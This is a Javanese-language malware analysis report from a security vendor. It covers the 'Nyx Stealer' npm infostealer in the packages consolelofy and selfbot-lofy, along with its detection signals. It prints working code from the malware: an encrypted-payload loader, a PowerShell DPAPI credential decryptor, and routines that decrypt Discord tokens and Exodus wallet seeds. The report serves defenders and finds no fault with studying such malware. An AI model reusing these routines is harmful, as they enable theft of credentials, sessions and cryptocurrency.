TL; DR
Tim Riset Keamanan Xygeni ngidentifikasi kampanye npm infostealer canggih sing dikirim liwat rong paket jahat: konsollofy lan selfbot-lofy.
Versi paling anyar (consolelofy@1.3.0) nyematkan payload sing dienkripsi AES 216KB sing didekripsi nalika runtime lan dieksekusi liwat vm.runInNewContext()Amarga logika jahat wis dienkripsi kanthi lengkap, pemindai statis sing gumantung marang inspeksi string ora bisa mirsani prilakune nganti wektu eksekusi.
Sawise didekripsi, muatan, sing diwenehi merek internal Nyx Stealer, target:
- Token otentikasi Discord
- 50+ toko kredensial browser
- 90+ ekstensi dompet cryptocurrency
- Sesi Roblox, Instagram, Spotify, Steam, Telegram, lan TikTok
- Persistensi klien desktop Discord
Kabeh 20 versi ing kaloro paket kasebut dilaporake lan dikonfirmasi mbebayani.
Ringkesan Teknis saka npm Infostealer iki
Ora kaya malware wektu instalasi tradisional, kampanye iki gumantung marang runtime model dekripsi.
Ana:
- Ora ana sing jahat
preinstallorpostinstallhooks - Ora ana panggilan jaringan wektu instalasi sing jelas
- Ora ana logika panen kredensial plaintext
Payload bakal diaktifake nalika modul diimpor. Kabeh awak malware dienkripsi lan mung muncul ing memori nalika runtime.
Desain iki khusus ngindhari deteksi sajrone instalasi paket.
Kepiye Cara NPM Infostealer Iki Dilakokake
Sadurunge nganalisa apa sing dicolong Nyx Stealer, kita kudu ngerti kepiye carane nglakokake.
Logika jahat ing njero infostealer npm iki ngetutake pola sing konsisten:
Loader cilik dekripsi payload sing dienkripsi gedhe lan nglakokake kanthi dinamis ing njero konteks VM Node.js.
Desain iki disengaja. Penyerang ora ndhelikake fungsi ing mburi obfuscation wae, dheweke mbusak kode jahat saka visibilitas statis kabeh.
Model Eksekusi Tingkat Tinggi
Ing tingkat sing dhuwur, pambungkus nindakake patang perkara:
- Ngolehake kunci AES saka frasa sandhi sing wis di-hardcode nggunakake SHA-256
- Dekripsi ciphertext sing dienkode heksadesimal gedhe nggunakake AES-256-CBC
- Nglakokake JavaScript sing didekripsi nggunakake
vm.runInNewContext() - Nyedhiyakake sandbox sing isih mbukak primitif runtime sing kuat
Ringkesan Teknik Inti
| Component | Konfigurasi / Nilai |
|---|---|
| Algoritma | AES-256-CBC |
| Derivasi Kunci | SHA-256 (frasa sandhi) |
| Vektor Inisialisasi (IV) | 16 byte saka 0x00 |
| execution | vm.runInNewContext(didekripsi, kothak wedhi) |
Sing penting, kothak wedhi ngliwati:
requireprocessBuffer- timers
- ekspor modul
Iki tegese muatan sing didekripsi tetep nduweni kemampuan lengkap kanggo:
- Proses pemijahan
- Maca lan nulis file
- Nelpon jaringan
- Ngowahi aplikasi lokal
Iki dudu VM sing diwatesi. Iki VM sing digunakake minangka trampolin eksekusi.
Pola Enkripsi Runtime (Mekanisme Eksekusi Inti)
Pengisine cilik.
Awak sing jahat iku ora.
Ing ngisor iki pola eksekusi sing ditemokake ing njero paket:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Kenapa Iki Penting
Payload sing didekripsi:
- ora ora ana ing plaintext ing njero paket npm
- Ora katon dening wong prasaja
greputawa pemindaian string statis - Mung katon ing memori nalika runtime
- Nglakokake kanthi kemampuan runtime Node lengkap
Kombinasi eksekusi AES + VM iki minangka indikator perilaku sing kuwat saka Pencuri info npm nyoba ngindhari inspeksi statis.
Ing tembung liyane:
Yen sampeyan mindhai wit sumber paket, sampeyan ora bakal weruh maling.
Kowé weruh piranti dekripsi.
Apa sing Kedadeyan Sawise Dekripsi
Sawise dieksekusi, Nyx Stealer ngluncurake gelombang pangumpulan data paralel.
Gelombang 1: Ekstraksi Kredensial Browser
Malware-ne:
- Ngundhuh runtime Python saka NuGet CDN
- Nginstal pustaka kriptografi
- Ngekstrak panyimpenan kredensial adhedhasar Chromium
- Ndekripsi rahasia sing dilindhungi DPAPI
Tinimbang ngompilasi binding asli, iki nggunakake PowerShell kanggo nelpon Windows DPAPI kanthi langsung.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Pendekatan iki:
- Nyingkiri artefak kompilasi
- Nggunakake API kripto Windows asli
- Campuran karo piranti administrasi
Iki dekripsi kredensial tingkat OS, dudu scraping.
Gelombang 2: Dekripsi Token Discord
Sing nyolong kuwi ngerti protokol. Dheweke ngerti format token sing dienkripsi Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Alur operasional:
- Ekstrak kunci master saka Discord
Local State - Dekripsi kunci master liwat DPAPI
- Dekripsi token blob AES-GCM
- Validasi token marang API Discord
- Tambah apik nganggo Nitro, lencana, info tagihan
Iki dudu pembuangan kredensial umum. Iki minangka pembajakan sesi sing sadar protokol.
Gelombang 3: Penargetan Dompet Cryptocurrency
Infostealer npm nyebutake:
- 90+ ekstensi dompet browser
- 27 dompet desktop
- Jalur dompet adhem
- File wiji Exodus
Tuladha upaya dekripsi wiji:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Yen kasil, kompromi dompet bakal langsung lan ora bisa dibatalake.
Iki makili vektor monetisasi kampanye kanthi nilai paling dhuwur.
Kegigihan liwat Injeksi Desktop Discord
Sawisé nglumpukake kredensial, Nyx Stealer nyoba terus-terusan kanthi ngowahi aturan lokal. Discord klien.
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Urutan operasional
Infostealer nindakake langkah-langkah ing ngisor iki:
- Mungkasi proses Discord sing lagi mlaku
- Nemokake varian Discord sing wis diinstal (Stable, Canary, PTB)
- Nulis timpa
discord_desktop_core/index.js - Nyuntikake logika webhook sing dikontrol penyerang
- Miwiti maneh Discord
Iki njamin sesi Discord ing mangsa ngarep kanthi otomatis bakal mbocorake token otentikasi anyar.
Sing penting, kegigihan iki ora gumantung marang tugas sing dijadwalake utawa modifikasi registri. Iki nggunakake modifikasi kode tingkat aplikasi, pendekatan sing luwih rahasia.
Sanajan paket npm sing mbebayani banjur dibusak, klien Discord tetep kena pengaruh.
Perbandingan Teknis: Selfbot Sah vs npm Infostealer
| Component | Perpustakaan Sah | Pencuri Informasi Nyx npm |
|---|---|---|
| enkripsi | Ana | Muatan sing dienkripsi AES kanthi lengkap |
| VM Runtime | ora dibutuhake | vm.runInNewContext eksekusi |
| Akses Kredensial | API Discord waé | Browser, dompet, DPAPI |
| Unduhan Eksternal | Ora Ana | Runtime Python liwat NuGet |
| Kegiyatan | Ora Ana | Injeksi klien Discord |
| monetization | Otomatisasi bot | Penjualan maneh kredensial |
Lapisan enkripsi waé wis misahaké kampanye iki saka fork sumber terbuka sing umum.
Selfbot Discord sing sah ora duwe alesan kanggo ngenkripsi kabeh basis kode, nggunakake PowerShell kanggo ngakses DPAPI, ndownload runtime eksternal, utawa ngowahi internal aplikasi desktop. Nalika kemampuan kasebut katon ing njero dependensi sing ngaku bisa ngotomatisasi interaksi Discord, ketidakcocokan arsitektur dadi ora bisa diabaikan.
Saka sudut pandang investigasi, pencuri info npm iki ninggalake jejak ing pirang-pirang lapisan. Nanging, indikator sing paling dipercaya dudu URL sing di-hardcode utawa jalur file tartamtu, amarga bisa diganti antarane versi. Nanging, sinyal sing awet iku struktural.
Ing tingkat paket, tandha abang sing paling kuat yaiku kombinasi saka payload sing dienkripsi gedhe lan bungkus dekripsi runtime sing langsung dieksekusi liwat vm.runInNewContext()Sanajan enkripsi waé ora mbebayani, nggunakaké dekripsi AES sing diterusaké karo eksekusi VM dinamis ing njero paket utilitas Discord iku ora lumrah.
Ing tingkat host, pola sing mencurigakan kalebu aktivitas dekripsi DPAPI sing ora dikarepke, proses sing muncul saka konteks ketergantungan Node.js, lan modifikasi file aplikasi lokal sing ora kena diowahi dening perpustakaan pihak katelu. Semono uga, ing lapisan jaringan, komunikasi gaya webhook metu sing diwiwiti dening ketergantungan pangembangan minangka anomali liyane sing penting.
Kanthi tembung liya, permukaan deteksi dudu indikator tunggal saka kompromi. Nanging korelasi enkripsi, eksekusi runtime, akses kredensial, lan prilaku persistensi sing mbukak ancaman kasebut.
Deteksi lan Mitigasi nganggo Xygeni
Pencuri info npm iki diidentifikasi dening Peringatan Dini Malware Xygeni (MEW) liwat korelasi perilaku berlapis tinimbang pencocokan tanda tangan sing prasaja.
Tinimbang nggoleki string jahat sing dikenal, MEW ngevaluasi anomali struktural ing wit sumber lengkap. Ing kasus iki, deteksi muncul saka konvergensi sawetara sinyal: rutin dekripsi AES sing dipasang ing titik entri modul, eksekusi langsung ing njero konteks VM, lan ketidakcocokan kemampuan-kanggo-maksud sing jelas.
Sing penting, ora ana sinyal kasebut sing mbuktekake niat jahat. Nanging, nalika dianalisis bebarengan, sinyal kasebut mbabarake upaya kanggo ndhelikake prilaku runtime. Pendekatan berlapis iki kanthi signifikan nyuda positif palsu nalika ngenali ancaman rantai pasokan sing dipercaya dhuwur.
Salajengipun, kasus iki nggambaraken kenapa inspeksi wektu instalasi kemawon boten cekap. Logika jahat boten wonten ing skrip siklus urip. Logika iki mung diaktifake sawise modul dimuat lan mung katon sawise didekripsi ing memori. Mulane, pertahanan sing efektif mbutuhake analisis sing sadar enkripsi, pangenalan pola perilaku, lan pemantauan ketergantungan terus-terusan ngluwihi acara instalasi.
Pambusakan registri iku reaktif. Analisis runtime-aware iku preventif.
Apa Sebab Infostealer npm Iki Penting
Nyx Stealer nggambarake evolusi struktural ing malware berbasis npm.
Sacara historis, akeh paket jahat sing gumantung marang skrip wektu instalasi sing katon utawa titik pungkasan eksfiltrasi kredensial sing jelas. Kosok baline, kampanye iki ngenkripsi muatane, nundha eksekusi menyang runtime, nggunakake API sistem operasi sing sah, lan netepake persistensi ing njero aplikasi sing dipercaya.
Akibate, penyerang ora perlu ngeksploitasi infrastruktur npm dhewe. Nanging, serangan kasebut sukses amarga instalasi dependensi nuduhake kepercayaan. Para pengembang nganggep yen ngimpor perpustakaan minangka operasi sing aman, utamane nalika nampilake awake dhewe minangka fork sing masuk akal saka alat populer.
Nalika ekosistem terus tuwuh lan fork saya akeh, wates kepercayaan implisit kasebut dadi permukaan serangan sing saya narik kawigaten. Mulane, mbela diri saka infostealer npm modern mbutuhake pangenalan pola arsitektur tinimbang nggoleki string statis.
Pungkasanipun, kampanye iki nguataken piwulang penting ing software supply chain securityAncaman sing paling mbebayani dudu sing katon mbebayani nalika sepisanan, nanging sing katon sah sacara struktural nganti runtime nuduhake prilaku sing sejatine.




